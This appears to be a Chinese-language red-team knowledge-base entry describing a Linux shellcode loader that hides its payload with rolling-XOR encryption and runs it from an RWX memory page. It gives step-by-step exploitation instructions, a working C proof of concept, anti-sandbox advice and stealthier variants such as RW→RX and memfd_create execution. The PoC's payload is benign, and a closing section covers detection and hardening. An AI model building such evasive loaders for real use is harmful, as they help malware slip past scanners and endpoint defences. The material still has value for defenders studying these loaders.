♧ Godown 安全知识树

Linux 自解密 shellcode 加载器:mmap RWX + 滚动 XOR 还原后函数指针执行

pentest/c2 · verified

一句话结论

样本把 shellcode 以滚动 XOR 密文放在自己的数据段里,运行时用 mmap(PROT_READ|PROT_WRITE|PROT_EXEC) 分配一页可执行内存,把密文拷进去后在同一页内逐字节解密(key=0xAA; c^=key; key=(key*13+7)&0xFF),最后把页首强转为函数指针调用。磁盘上的文件只有密文,静态字符串/特征扫描看不到 payload,明文只在执行前短暂存在于内存。

原理

  • “自修改”的准确含义:原文称其为 self-modifying code,但示例并没有修改 ELF 自身的 .text,而是在新分配的 RWX 页里解密并执行 shellcode。效果相同(静态分析看不到明文),但检测面不同:前者是代码段写入,后者是匿名 RWX 页。
  • 滚动 XOR:加密与解密是同一运算:
  • key 初值 0xAA;
  • 对每个字节 buf[i] ^= key; key = (key * 13 + 7) & 0xFF;
  • 密钥序列只依赖位置,不依赖明文,因此解密时按同样顺序重放即可;XOR 自反,无需单独的解密算法。
  • 为什么能躲静态分析:文件中的 shellcode 是密文,没有 execve("/bin/sh")、IP/端口、系统调用号等可读字符串;熵高,但滚动 XOR 后的字节分布仍可能被统计检测发现(不是强加密)。
  • 执行流程: 1. mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 2. memcpy 密文到该页; 3. 原地滚动 XOR 解密; 4. ((void(*)())page)() 调用。
  • 前置反分析:样本通常先做 TracerPid/时间加速检查,命中则不分配/不解密,减少沙箱内存扫描抓到明文的概率。
  • 检测信号:匿名 RWX 页、mmap 后紧跟写入、页内出现 syscall/int 0x80、高熵数据、函数指针调用刚写入的页;现代内核/EDR 对 RWX 非常敏感。
  • 与强加密 loader 的区别:滚动 XOR 没有密钥保密(常量和算法都在代码里),只能对抗字符串/签名扫描,不能对抗内存扫描或算法识别。

触发条件

  • 目标为 Linux(x86_64 示例;ARM 需换指令编码)。
  • 样本能把加密 payload 放进数据段/资源,并在运行时分配可执行内存。
  • 目标允许 RWX 映射(未启用 SELinux deny_execmem/PaX MPROTECT 等)。
  • 攻击者接受 RWX 页带来的检测风险,或改用 RW→RX 两段式。

利用步骤

  1. 准备 shellcode,按 key=0xAA; c^=key; key=(key*13+7)&0xFF 生成密文,嵌入样本数据段。
  2. 入口先做反调试/反沙箱检查;不满足则退出,不进入解密。
  3. mmap 一页 PROT_READ|PROT_WRITE|PROT_EXEC(或先 RW,解密后再 mprotect 为 RX)。
  4. memcpy 密文到页内,按同一 key schedule 原地解密。
  5. 把页首转为函数指针并调用;shellcode 执行(示例为反弹 shell,可替换为任意 payload)。
  6. 若需要清理,调用返回后 munmap 并退出;实际恶意样本通常不返回。

PoC

#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

/* 示例:12 字节 shellcode `mov rax,60; xor rdi,rdi; syscall`(exit(0))
   经 key=0xAA、key=key*13+7 滚动 XOR 后的密文。真实样本替换为恶意 payload。 */
static unsigned char enc_payload[] = {
    0xe2, 0x6e, 0x5c, 0xcf, 0x5e, 0xcd,
    0x70, 0xff, 0x63, 0xce, 0x8b, 0xbe
};
static const size_t payload_len = sizeof(enc_payload);

static void rolling_xor(unsigned char *buf, size_t n) {
    unsigned char key = 0xAA;
    for (size_t i = 0; i < n; i++) {
        buf[i] ^= key;
        key = (unsigned char)(key * 13 + 7);
    }
}

int main(void) {
    void *page = mmap(NULL, 4096,
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) return 1;

    memcpy(page, enc_payload, payload_len);
    rolling_xor((unsigned char *)page, payload_len);   /* 原地解密 */
    ((void (*)(void))page)();                         /* 执行 shellcode */
    return 0;
}

生成密文时对明文执行完全相同的 rolling_xor 即可(XOR 自反)。更隐蔽的写法是先 mmap RW、解密后用 mprotect(page, 4096, PROT_READ|PROT_EXEC) 改为 RX,避免 RWX;也可以用 memfd_create + fexecve 走文件执行路径。

变体与关联

  • 加密算法替换:AES/ChaCha20/RC4 加密 shellcode,密钥由环境/参数派生;本库 pentest-c2-rust-fiber-shellcode-loader-base64-aes-switchtofiber 与 pentest-c2-shellcode-loader-rx-sleep-etw-encryption 是 Windows 侧的对应实现。
  • 内存规避:解密后只在调用前短暂存在明文,调用期间可再次加密未执行部分;或把 shellcode 分片解密,执行完即丢弃。
  • 执行方式:函数指针直接调用、mprotect 后跳转、memfd_create + fexecve、把 payload 注入现有进程(本库 pentest-c2-linux-remote-mmap-syscall-injection)。
  • 失败点:RWX 页被 EDR/内核策略阻止;滚动 XOR 常量(0xAA、13、7)可被 YARA 识别;内存扫描可在解密后、调用前抓到明文;shellcode 的 sockaddr/IP 端口构造错误会导致不上线。

检测与防御

  • 检测:监控 mmap/mprotect 产生匿名可执行页(尤其 RWX),监控“写入后立即执行”的模式;扫描进程内存中的高熵缓冲和 syscall/int 0x80 指令;对滚动 XOR 常量/循环做静态规则。
  • 加固:启用 SELinux deny_execmem、PaX MPROTECT、W^X 策略;用 eBPF/LSM 审计 mmap/mprotect;禁止不必要的 RWX。
  • 分析:在 mmap/mprotect 与函数指针调用处下断点,dump 解密后的页;对数据段做 entropy/滚动 XOR 尝试(key 初值 0xAA、乘 13 加 7 是常见模式)。
  • 注意:该技术本身只是加载器,不构成完整攻击链;实际危害取决于 shellcode 内容与后续 C2。